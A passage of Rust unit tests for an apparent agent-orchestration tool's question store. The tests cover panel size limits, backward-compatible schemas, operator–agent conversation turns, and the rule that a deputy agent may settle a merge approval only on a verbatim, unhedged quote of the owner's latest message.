2679        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2680        assert!(q.assets.is_empty());
2681    }
2682
2683    #[test]
2684    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2685        let (dir, s) = store();
2686        let mut q = panelled();
2687        s.put(&mut q).unwrap();
2688
2689        // Sized rather than filled: the cap reads the file's length, and a
2690        // test that actually produced eight mebibytes would only be slower.
2691        let big = dir.path().join("recording.png");
2692        std::fs::File::create(&big)
2693            .unwrap()
2694            .set_len(PANEL_MAX_BYTES)
2695            .unwrap();
2696
2697        let html = "<p>see the recording</p>";
2698        let total = PANEL_MAX_BYTES + html.len() as u64;
2699        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2700        assert!(
2701            e.contains(&PANEL_MAX_BYTES.to_string()),
2702            "the cap is named so the agent knows the limit: {e}"
2703        );
2704        assert!(
2705            e.contains(&total.to_string()),
2706            "the actual size is named so the agent knows by how much: {e}"
2707        );
2708
2709        assert!(!q.panel);
2710        assert!(q.assets.is_empty());
2711        let left: Vec<String> = std::fs::read_dir(s.root())
2712            .unwrap()
2713            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2714            .collect();
2715        assert_eq!(
2716            left,
2717            [format!("{}.json", q.id)],
2718            "a refused panel leaves neither a directory nor scratch: {left:?}"
2719        );
2720    }
2721
2722    #[test]
2723    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2724        let (dir, s) = store();
2725        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2726        std::fs::create_dir_all(&before).unwrap();
2727        std::fs::create_dir_all(&after).unwrap();
2728        std::fs::write(before.join("diff.png"), "before").unwrap();
2729        std::fs::write(after.join("diff.png"), "after").unwrap();
2730
2731        let mut q = panelled();
2732        let e = s
2733            .put_panel(
2734                &mut q,
2735                "<p>x</p>",
2736                &[before.join("diff.png"), after.join("diff.png")],
2737            )
2738            .unwrap_err()
2739            .to_string();
2740        assert!(e.contains("diff.png"), "{e}");
2741        assert!(
2742            e.contains("before") && e.contains("after"),
2743            "both sources are named, because the fix is to rename one: {e}"
2744        );
2745        assert!(!q.panel);
2746        assert!(!s.panel_dir(&q.id).exists());
2747    }
2748
2749    #[test]
2750    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2751        let (dir, s) = store();
2752        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2753        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2754
2755        let mut q = panelled();
2756        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2757            .unwrap();
2758        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2759            .unwrap();
2760
2761        assert_eq!(q.assets, ["new.png"]);
2762        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2763        assert!(
2764            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2765            "an asset from the first attempt would show a mix of two answers"
2766        );
2767
2768        s.drop_panel(&q.id).unwrap();
2769        assert!(s.panel_html(&q.id).is_none());
2770        assert!(!s.panel_dir(&q.id).exists());
2771        s.drop_panel(&q.id)
2772            .expect("dropping a panel that is already gone is the desired state");
2773    }
2774
2775    #[test]
2776    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2777        let (_dir, s) = store();
2778        let mut q = panelled();
2779        s.put(&mut q).unwrap();
2780
2781        assert!(!q.panel);
2782        assert!(s.panel_html(&q.id).is_none());
2783        assert!(
2784            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2785            "a missing file is a 404 for the caller, not a failure of the store"
2786        );
2787        let json = serde_json::to_value(&q).unwrap();
2788        assert_eq!(json["panel"], false);
2789        assert_eq!(json["assets"], serde_json::json!([]));
2790
2791        // And an empty panel is refused, because an empty frame reads to the
2792        // owner as "the agent had nothing to say".
2793        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2794        assert!(e.contains("empty panel"), "{e}");
2795        assert!(!s.panel_dir(&q.id).exists());
2796    }
2797
2798    #[test]
2799    fn a_question_written_before_panels_existed_still_deserialises() {
2800        let (_dir, s) = store();
2801        std::fs::create_dir_all(s.root()).unwrap();
2802        let id = "20260902-231501-ab12";
2803        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2804        let body = r#"{
2805  "schema": 1,
2806  "id": "20260902-231501-ab12",
2807  "run": "20260902-201256-9fb7",
2808  "node": "implement",
2809  "seat": "impl-A",
2810  "summary": "Which storage backend should the cache use?",
2811  "detail": "Both are already dependencies.",
2812  "choices": ["SQLite", "Redis"],
2813  "status": "open",
2814  "asked_at": "2026-09-02T23:15:01Z",
2815  "answered_at": null,
2816  "answer": null
2817}"#;
2818        std::fs::write(s.path_of(id), body).unwrap();
2819
2820        let q = s.get(id).unwrap();
2821        assert!(
2822            !q.panel,
2823            "an absent field means no panel, not a parse error"
2824        );
2825        assert!(q.assets.is_empty());
2826        // Schema 1 predates `thread` entirely - not merely predates it having
2827        // any turns - and this build now speaks schema 3. Reading it must not
2828        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2829        // accepted and the missing field defaults to no conversation yet.
2830        assert_eq!(q.schema, 1);
2831        assert!(q.thread.is_empty());
2832        assert_eq!(
2833            q.answer_timeout, 0,
2834            "an absent field means unrecorded, not a zero-second deadline"
2835        );
2836        assert!(!q.waiting_on_agent());
2837        assert_eq!(q.summary, "Which storage backend should the cache use?");
2838        assert_eq!(
2839            s.list().len(),
2840            1,
2841            "and it is still listed; skipping it would hide an open question"
2842        );
2843    }
2844
2845    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2846        Turn {
2847            who,
2848            body: body.to_owned(),
2849            at,
2850            note: None,
2851        }
2852    }
2853
2854    #[test]
2855    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2856        // The phone reads this shape by hand, same as the question itself: a
2857        // rename here is a card that silently drops every message in it.
2858        let mut q = choice_question();
2859        q.thread
2860            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2861        let value = serde_json::to_value(&q.thread[0]).unwrap();
2862        let mut keys: Vec<&str> = value
2863            .as_object()
2864            .unwrap()
2865            .keys()
2866            .map(String::as_str)
2867            .collect();
2868        keys.sort_unstable();
2869        assert_eq!(keys, ["at", "body", "who"]);
2870        assert_eq!(value["who"], "operator");
2871        assert_eq!(value["body"], "why not Postgres?");
2872
2873        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2874        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2875        assert_eq!(parsed.who, Who::Agent);
2876    }
2877
2878    fn approval_question() -> Question {
2879        let mut q = Question::new(
2880            "run".into(),
2881            crate::land::APPROVAL_NODE.into(),
2882            "land".into(),
2883            "Merge?".into(),
2884            String::new(),
2885            vec!["merge".into(), "hold".into()],
2886        );
2887        let mut dep = Deputy::new("brief".into());
2888        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2889        q.deputy = Some(dep);
2890        q
2891    }
2892
2893    #[test]
2894    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2895        let mut q = approval_question();
2896        q.say("merge").unwrap();
2897        q.reply("sure?", vec!["merge".into(), "hold".into()])
2898            .unwrap();
2899        q.say(" Merge it please ").unwrap();
2900        assert!(
2901            q.settle_by_deputy("deputy-x", "merge", "   ", None)
2902                .is_err(),
2903            "an empty quote is refused"
2904        );
2905        assert!(
2906            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2907                .is_err(),
2908            "a quote the owner never said is refused"
2909        );
2910        assert_eq!(q.status, QuestionStatus::Open);
2911        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2912            .unwrap();
2913        assert_eq!(q.resolution().as_deref(), Some("merge"));
2914    }
2915
2916    #[test]
2917    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2918        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2919        let mk = || {
2920            let mut q = Question::new(
2921                "run".into(),
2922                crate::github_text::ASK_NODE.into(),
2923                crate::github_text::ASK_SEAT.into(),
2924                "s".into(),
2925                String::new(),
2926                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
2927            );
2928            let mut dep = Deputy::new("brief".into());
2929            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2930            q.deputy = Some(dep);
2931            q
2932        };
2933        let mut hedged = mk();
2934        hedged.say("Post the original, maybe?").unwrap();
2935        assert!(
2936            hedged
2937                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
2938                .is_err()
2939        );
2940        let mut clear = mk();
2941        clear.say("Post the original text as it is.").unwrap();
2942        clear
2943            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
2944            .unwrap();
2945        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
2946        // The changed text is the safe default: no extra guard beyond the quote.
2947        let mut safe = mk();
2948        safe.say("use the fallback").unwrap();
2949        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
2950            .unwrap();
2951    }
2952
2953    #[test]
2954    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
2955        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
2956        let mk = || {
2957            let mut q = Question::new(
2958                "run".into(),
2959                crate::github_text::ASK_NODE.into(),
2960                crate::github_text::ASK_SEAT.into(),
2961                "s".into(),
2962                String::new(),
2963                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
2964            );
2965            let mut dep = Deputy::new("brief".into());
2966            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2967            q.deputy = Some(dep);
2968            q
2969        };
2970        let mut hedged = mk();
2971        hedged.say("Use the rewrite, maybe?").unwrap();
2972        assert!(
2973            hedged
2974                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
2975                .is_err()
2976        );
2977        let mut clear = mk();
2978        clear.say("Use the rewrite text as it is.").unwrap();
2979        clear
2980            .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite text", None)
2981            .unwrap();
2982        assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
2983        // The changed text is the safe default: no extra guard beyond the quote.
2984        let mut safe = mk();
2985        safe.say("use the fallback").unwrap();
2986        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
2987            .unwrap();
2988    }
2989
2990    #[test]
2991    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
2992        let mk = |choices: Vec<String>| {
2993            let mut q = Question::new(
2994                String::new(),
2995                crate::bump::NOTICE_NODE.into(),
2996                "release-watch".into(),
2997                "Release?".into(),
2998                String::new(),
2999                choices,
3000            );
3001            let mut dep = Deputy::new("brief".into());
3002            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3003            q.deputy = Some(dep);
3004            q
3005        };
3006        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3007        assert!(crate::deputy::merge_gated(&approval));
3008        approval.say("マージしていいよ").unwrap();
3009        assert!(
3010            approval
3011                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3012                .is_err(),
3013            "a quote the owner never said is refused"
3014        );
3015        approval
3016            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3017            .unwrap();
3018
3019        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3020        assert!(!crate::deputy::merge_gated(&esc));
3021        esc.say("もう監視はいらない").unwrap();
3022        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3023            .unwrap();
3024        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3025    }
3026
3027    #[test]
3028    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3029        let mut q = approval_question();
3030        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3031            .unwrap();
3032        assert!(
3033            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3034                .is_err(),
3035            "the quote must be the owner's"
3036        );
3037        assert!(
3038            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3039                .is_err(),
3040            "`hold` still needs the whole message"
3041        );
3042        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3043            .unwrap();
3044        assert_eq!(q.resolution().as_deref(), Some("merge"));
3045    }
3046
3047    fn settle_ready() -> Question {
3048        let mut q = Question::new(
3049            "task".to_owned(),
3050            "conduct".to_owned(),
3051            "conduct".to_owned(),
3052            "Done?".to_owned(),
3053            String::new(),
3054            vec!["yes".to_owned(), "no".to_owned()],
3055        );
3056        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3057        seat.turns = 1;
3058        let mut dep = Deputy::new("brief".to_owned());
3059        dep.seat = Some(seat);
3060        q.deputy = Some(dep);
3061        q.say("setup done, and file a follow-up").unwrap();
3062        q
3063    }
3064
3065    #[test]
3066    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3067        let dir = tempfile::TempDir::new().unwrap();
3068        let store = Questions::at(dir.path().join("questions"));
3069        let mut q = settle_ready();
3070        let id = q.id.clone();
3071        store.put(&mut q).unwrap();
3072        store
3073            .update(&id, |q| {
3074                q.settle_by_deputy(
3075                    "deputy-x",
3076                    "yes",
3077                    "setup done",
3078                    Some("  no follow-up was queued  "),
3079                )
3080            })
3081            .unwrap();
3082        let back = store.get(&id).unwrap();
3083        let turn = back.thread.last().unwrap();
3084        assert_eq!(turn.who, Who::Agent);
3085        assert!(turn.body.starts_with("Settled as `yes`"));
3086        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3087        assert_eq!(back.thread[0].note, None);
3088    }
3089
3090    #[test]
3091    fn an_empty_or_blank_settle_note_is_no_note() {
3092        for note in [None, Some(""), Some("  \n ")] {
3093            let mut q = settle_ready();
3094            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3095                .unwrap();
3096            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3097            let json = serde_json::to_string(&q).unwrap();
3098            assert!(!json.contains("\"note\""), "no key when there is none");
3099        }
3100    }
3101
3102    #[test]
3103    fn a_refused_settle_leaves_no_note_behind() {
3104        let mut q = settle_ready();
3105        let before = q.thread.clone();
3106        assert!(
3107            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3108                .is_err()
3109        );
3110        assert!(
3111            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3112                .is_err()
3113        );
3114        assert_eq!(q.thread, before);
3115        assert_eq!(q.status, QuestionStatus::Open);
3116    }
3117
3118    #[test]
3119    fn a_turn_written_before_notes_existed_still_reads() {
3120        let t: Turn =
3121            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3122                .unwrap();
3123        assert_eq!(t.note, None);
3124    }
3125
3126    #[test]
3127    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3128        let mut q = approval_question();
3129        q.say("merge").unwrap();
3130        q.reply("sure?", vec!["merge".into(), "hold".into()])
3131            .unwrap();
3132        q.say("wait, hold off").unwrap();
3133        assert!(
3134            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3135                .is_err()
3136        );
3137        assert_eq!(q.status, QuestionStatus::Open);
3138    }
3139
3140    #[test]
3141    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3142        let mut q = Question::new(
3143            "task".to_owned(),
3144            "conduct".to_owned(),
3145            "conduct".to_owned(),
3146            "Done?".to_owned(),
3147            String::new(),
3148            vec!["yes".to_owned(), "no".to_owned()],
3149        );
3150        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3151        seat.turns = 1;
3152        let mut dep = Deputy::new("brief".to_owned());
3153        dep.seat = Some(seat);
3154        q.deputy = Some(dep);
3155        q.say("setup done, go ahead").unwrap();
3156
3157        assert!(
3158            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3159                .is_err()
3160        );
3161        assert!(
3162            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3163                .is_err()
3164        );
3165        assert!(
3166            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3167                .is_err()
3168        );
3169        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3170        assert_eq!(q.status, QuestionStatus::Open);
3171
3172        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3173            .unwrap();
3174        assert_eq!(q.status, QuestionStatus::Answered);
3175        assert_eq!(q.resolution().as_deref(), Some("yes"));
3176        let last = q.thread.last().unwrap();
3177        assert_eq!(last.who, Who::Agent);
3178        assert!(
3179            last.body.contains("setup done"),
3180            "the quote stays on the record"
3181        );
3182    }
3183
3184    #[test]
3185    fn a_question_written_before_deputies_still_reads() {
3186        let mut q = Question::new(
3187            "task".to_owned(),
3188            "conduct".to_owned(),
3189            "conduct".to_owned(),
3190            "Done?".to_owned(),
3191            String::new(),
3192            Vec::new(),
3193        );
3194        q.schema = 4;
3195        let mut v = serde_json::to_value(&q).unwrap();
3196        v.as_object_mut().unwrap().remove("deputy");
3197        let back: Question = serde_json::from_value(v).unwrap();
3198        assert!(back.deputy.is_none());
3199    }
3200
3201    #[test]
3202    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3203        let mut q = choice_question();
3204        q.say("does the cache need eviction?").unwrap();
3205        assert_eq!(q.thread.len(), 1);
3206        assert_eq!(q.thread[0].who, Who::Operator);
3207        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3208        // Speaking is not deciding: the status and the answer are untouched,
3209        // which is the whole point of the round trip existing at all.
3210        assert_eq!(q.status, QuestionStatus::Open);
3211        assert!(q.answer.is_none());
3212        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3213    }
3214
3215    #[test]
3216    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3217        let mut answered = choice_question();
3218        answered
3219            .answer(Answer::Choice("SQLite".to_owned()))
3220            .unwrap();
3221        let a = answered.say("still there?").unwrap_err().to_string();
3222        assert!(a.contains("already answered"), "{a}");
3223        let b = answered
3224            .reply("still there?", vec![])
3225            .unwrap_err()
3226            .to_string();
3227        assert!(b.contains("already answered"), "{b}");
3228
3229        let mut abandoned = choice_question();
3230        abandoned.abandon("timed out");
3231        let c = abandoned.say("hello?").unwrap_err().to_string();
3232        assert!(c.contains("abandoned"), "{c}");
3233
3234        let mut open = choice_question();
3235        let d = open.say("   ").unwrap_err().to_string();
3236        assert!(d.contains("empty"), "{d}");
3237        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3238        assert!(e.contains("empty"), "{e}");
3239        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3240    }
3241
3242    #[test]
3243    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3244        let mut q = choice_question();
3245        q.say("SQLite or Redis, but what about disk space?")
3246            .unwrap();
3247        assert!(q.waiting_on_agent());
3248
3249        q.reply(
3250            "SQLite: it is one file, no server to run.",
3251            vec!["SQLite".to_owned()],
3252        )
3253        .unwrap();
3254
3255        assert_eq!(q.choices, ["SQLite"]);
3256        assert!(
3257            !q.waiting_on_agent(),
3258            "the agent spoke, so the owner is the one being waited on now"
3259        );
3260        assert_eq!(q.thread.len(), 2);
3261        assert_eq!(q.thread[1].who, Who::Agent);
3262
3263        // The new choice set is what a subsequent answer is checked against.
3264        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3265        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3266        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3267    }
3268
3269    #[test]
3270    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3271        let mut fresh = choice_question();
3272        assert!(
3273            fresh.should_notify(Timestamp::now()),
3274            "nobody has been notified yet, so the first ask always pages"
3275        );
3276
3277        fresh.say("why not Postgres?").unwrap();
3278        let just_said = fresh.thread[0].at;
3279        assert!(
3280            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3281            "still on the screen a minute later; no need to page again"
3282        );
3283        assert!(
3284            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3285            "exactly the window: `>` means this side stays quiet"
3286        );
3287        assert!(
3288            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3289            "past the window: they may have walked away"
3290        );
3291    }
3292
3293    #[test]
3294    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3295        let (_dir, s) = store();
3296        let mut q = choice_question();
3297        s.put(&mut q).unwrap();
3298        q.say("why not Postgres?").unwrap();
3299        s.put(&mut q).unwrap();
3300        q.reply("no server to run", vec!["SQLite".to_owned()])
3301            .unwrap();
3302        s.put(&mut q).unwrap();
3303
3304        assert_eq!(
3305            s.count_open(),
3306            1,
3307            "one question that talked twice is still one open question"
3308        );
3309        assert_eq!(s.open_for(&q.run).len(), 1);
3310    }
3311
3312    #[tokio::test]
3313    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3314        let (dir, s) = store();
3315        let mut q = choice_question();
3316        let id = q.id.clone();
3317        let writer = Questions::at(dir.path().join("questions"));
3318        let handle = tokio::spawn(async move {
3319            tokio::time::sleep(Duration::from_millis(30)).await;
3320            let mut fresh = writer.get(&id).expect("the question was filed first");
3321            fresh.say("why not Postgres?").unwrap();
3322            writer.put(&mut fresh).unwrap();
3323        });
3324
3325        let got = wait_for_owner(
3326            &mut q,
3327            &s,
3328            &quiet(),
3329            Duration::from_secs(5),
3330            Duration::from_millis(10),
3331        )
3332        .await
3333        .unwrap();
3334
3335        handle.await.unwrap();
3336        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3337        assert_eq!(
3338            q.status,
3339            QuestionStatus::Open,
3340            "talking back is not a decision; the question stays open"
3341        );
3342        assert!(q.answer.is_none());
3343    }
3344
3345    #[test]
3346    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3347        let mut q = choice_question();
3348        q.say("A").unwrap();
3349        q.delivered_turns = q.thread.len();
3350        q.say("B").unwrap();
3351        q.reply("about A", vec![]).unwrap();
3352        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3353        q.delivered_turns = q.thread.len();
3354        assert_eq!(q.unread_from_owner(), None);
3355    }
3356
3357    #[test]
3358    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3359        let (_d, s) = store();
3360        let mut q = choice_question();
3361        s.put(&mut q).unwrap();
3362        q.say("first").unwrap();
3363        q.say("second").unwrap();
3364        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3365        s.put(&mut q).unwrap();
3366        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3367        let mut out = Vec::new();
3368        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3369        let shown = String::from_utf8(out).unwrap();
3370        let (a, b, c) = (
3371            shown.find("first").unwrap(),
3372            shown.find("second").unwrap(),
3373            shown.find("SQLite").unwrap(),
3374        );
3375        assert!(a < b && b < c, "{shown}");
3376        assert_eq!(q.delivered_turns, q.thread.len());
3377        assert!(q.answer_delivered);
3378    }
3379
3380    #[test]
3381    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3382        let mut q = choice_question();
3383        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3384        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3385        let mut q = choice_question();
3386        q.say("old").unwrap();
3387        q.delivered_turns = q.thread.len();
3388        q.say("new").unwrap();
3389        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3390        let shown = answer_for_agent(&q, "SQLite");
3391        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3392    }
3393
3394    #[test]
3395    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3396        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3397        let ok = parse_actions(
3398            &[
3399                "resume で続行する=resume".to_owned(),
3400                "wait=done".to_owned(),
3401            ],
3402            &choices,
3403            "run-1",
3404        )
3405        .unwrap();
3406        assert_eq!(
3407            ok["resume で続行する"],
3408            ChoiceAction::Resume {
3409                run: "run-1".into()
3410            }
3411        );
3412        assert_eq!(ok["wait"], ChoiceAction::Done);
3413
3414        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3415        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3416        assert_eq!(
3417            ChoiceAction::parse("x=requeue", "").unwrap().1,
3418            ChoiceAction::Requeue
3419        );
3420
3421        for bad in [
3422            "no-equals",
3423            "=done",
3424            "x=resume",
3425            "x=resume:",
3426            "x=explode",
3427            "x=done:1",
3428        ] {
3429            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3430        }
3431        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3432        assert!(
3433            parse_actions(
3434                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3435                &choices,
3436                ""
3437            )
3438            .is_err()
3439        );
3440    }
3441
3442    #[test]
3443    fn only_a_chosen_label_with_an_action_is_actionable() {
3444        let mut q = choice_question();
3445        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3446        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3447        assert!(q.chosen_action().is_none(), "unanswered");
3448        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3449        assert!(
3450            q.chosen_action().is_none(),
3451            "a label that merely reads like an action does nothing"
3452        );
3453
3454        let mut q2 = choice_question();
3455        q2.choices = vec!["SQLite".to_owned()];
3456        q2.actions
3457            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3458        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3459        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3460    }
3461
3462    #[test]
3463    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3464        let mut q = choice_question();
3465        q.choices = vec!["A".to_owned(), "B".to_owned()];
3466        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3467        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3468        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3469        assert_eq!(q.actions.len(), 1);
3470        assert!(q.actions.contains_key("B"));
3471
3472        let mut v = serde_json::to_value(&q).unwrap();
3473        v.as_object_mut().unwrap().remove("actions");
3474        let old: Question = serde_json::from_value(v).unwrap();
3475        assert!(old.actions.is_empty());
3476    }
3477}